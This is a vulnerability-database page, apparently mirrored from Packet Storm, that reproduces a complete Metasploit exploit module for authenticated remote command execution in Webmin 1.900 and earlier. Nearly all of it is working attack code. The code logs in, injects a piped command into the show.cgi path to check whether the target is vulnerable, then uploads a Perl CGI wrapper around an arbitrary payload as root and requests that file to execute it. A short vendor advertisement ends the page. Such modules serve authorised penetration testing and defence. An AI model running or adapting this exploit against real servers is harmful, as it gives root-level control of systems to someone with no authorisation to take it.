Lucene search
+L

Webmin 1.900 Upload Authenticated Remote Command Execution

🗓️ 15 Mar 2019 00:00:00Reported by Ozkan Mustafa AkkusType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 174 Views

Webmin 1.900 Upload Authenticated Remote Command Executio

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Webmin Upload Authenticated RCE',  
'Description' => %q(  
This module exploits an arbitrary command execution vulnerability in Webmin  
1.900 and lower versions. Any user authorized to the "Upload and Download"  
module can execute arbitrary commands with root privileges.  
  
In addition, if the 'Running Processes' (proc) privilege is set the user can  
accurately determine which directory to upload to. Webmin application files  
can be written/overwritten, which allows remote code execution. The module  
has been tested successfully with Webmin 1.900 on Ubuntu v18.04.  
  
Using GUESSUPLOAD attempts to use a default installation path in order to  
trigger the exploit.  
),  
'Author' => [  
'AkkuS <Azkan Mustafa AkkuA>', # Vulnerability Discovery, Initial PoC module  
'Ziconius <Kris.Anderson[at]immersivelabs.com>' # Updated MSF module; removing 'proc' requirement.  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['EDB', '46201'],  
['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']  
],  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 512,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'perl'  
}  
},  
'DefaultOptions' =>  
{  
'RPORT' => 10000,  
'SSL' => true  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [['Webmin <= 1.900', {}]],  
'DisclosureDate' => 'Jan 17 2019',  
'DefaultTarget' => 0)  
)  
register_options [  
OptBool.new('GUESSUPLOAD', [true, 'If no "proc" permissions exists use default path.', false]),  
OptString.new('USERNAME', [true, 'Webmin Username']),  
OptString.new('PASSWORD', [true, 'Webmin Password']),  
OptString.new('FILENAME', [false, 'Filename used for the uploaded data']),  
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])  
]  
end  
  
def login  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'session_login.cgi'),  
'cookie' => 'testing=1',  
'vars_post' => {  
'page' => '',  
'user' => datastore['USERNAME'],  
'pass' => datastore['PASSWORD']  
}  
})  
  
if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/  
return $1  
end  
  
return nil unless res  
''  
end  
  
##  
# Target and input verification  
##  
def check  
cookie = login  
return CheckCode::Detected if cookie == ''  
return CheckCode::Unknown if cookie.nil?  
  
vprint_status('Attempting to execute...')  
command = "echo #{rand_text_alphanumeric(0..9)}"  
  
res = send_request_cgi({  
'uri' => "#{target_uri}/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",  
'cookie' => "sid=#{cookie}"  
})  
  
if res && res.code == 200 && res.message =~ /Document follows/  
return CheckCode::Vulnerable  
end  
  
CheckCode::Safe  
end  
  
##  
# Exploiting phase  
##  
def exploit  
cookie = login  
if cookie == '' || cookie.nil?  
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')  
end  
print_good("Session cookie: #{cookie}")  
  
##  
# Directory and SSL verification for referer  
##  
phost = ssl ? 'https://' : 'http://'  
phost << peer  
print_status("Target URL => #{phost}")  
  
res = send_request_raw(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),  
'headers' =>  
{  
'Referer' => "#{phost}/sysinfo.cgi?xnavigation=1"  
},  
'cookie' => "redirect=1; testing=1; sid=#{cookie}"  
)  
unless res && res.code == 200  
fail_with(Failure::Unknown, 'Request failed')  
end  
  
print_status 'Searching for directory to upload...'  
if res.body =~ /Running Processes/ && res.body =~ /[^ ] ([\/\w]+)miniserv\.pl/  
directory = $1  
elsif datastore['GUESSUPLOAD']  
print_warning('Could not determine upload directory. Using /usr/share/webmin/')  
directory = '/usr/share/webmin/'  
else  
print_error('Failed to determine webmin share directory')  
print_error('Set GUESSUPLOAD to attempt upload to a default location')  
return  
end  
directory << 'file'  
filename = datastore['FILENAME'].present? ? datastore['FILENAME'] : "#{rand_text_alpha_lower(5..8)}.cgi"  
filename << '.cgi' unless filename.end_with?('.cgi')  
upload_attempt(phost, cookie, directory, filename)  
  
##  
# Loading phase of the vulnerable file  
# Command execution and shell retrieval  
##  
print_status("Attempting to execute the payload...")  
command = payload.encoded  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri, 'file', filename),  
'cookie' => "sid=#{cookie}"  
})  
end  
  
def upload_attempt(phost, cookie, dir, filename)  
limit = rand_text_alpha_upper(5..10)  
tmpvar = rand_text_alpha_upper(3..8)  
code = <<~HERE  
#!/usr/bin/perl  
$#{tmpvar} = <<'#{limit}';  
#{payload.encoded}  
#{limit}  
`$#{tmpvar}`;  
HERE  
  
message = Rex::MIME::Message.new  
message.add_part(code, nil, nil, "form-data; name=\"upload0\"; filename=\"#{filename}\"")  
message.add_part(dir, nil, nil, 'form-data; name="dir"')  
message.add_part('root', nil, nil, 'form-data; name="user"')  
message.add_part('1', nil, nil, 'form-data; name="group_def"')  
message.add_part('', nil, nil, 'form-data; name="group"')  
message.add_part('0', nil, nil, 'form-data; name="zip"')  
message.add_part('1', nil, nil, 'form-data; name="email_def"')  
message.add_part('Upload', nil, nil, 'form-data; name="ok"')  
  
res2 = send_request_raw(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'updown', 'upload.cgi'),  
'vars_get' => {'id' => "#{rand_text_numeric(8..12)}"},  
'data' => message.to_s,  
'ctype' => "multipart/form-data; boundary=#{message.bound}",  
'headers' =>  
{  
'Referer' => "#{phost}/updown/?xnavigation=1"  
},  
'cookie' => "redirect=1; testing=1; sid=#{cookie}"  
)  
  
if res2 && res2.code == 200 && res2.body =~ /Saving file/  
print_good "File #{filename} was successfully uploaded."  
register_file_for_cleanup(filename)  
else  
print_error 'Upload failed.'  
fail_with(Failure::UnexpectedReply, 'Failed to upload file')  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation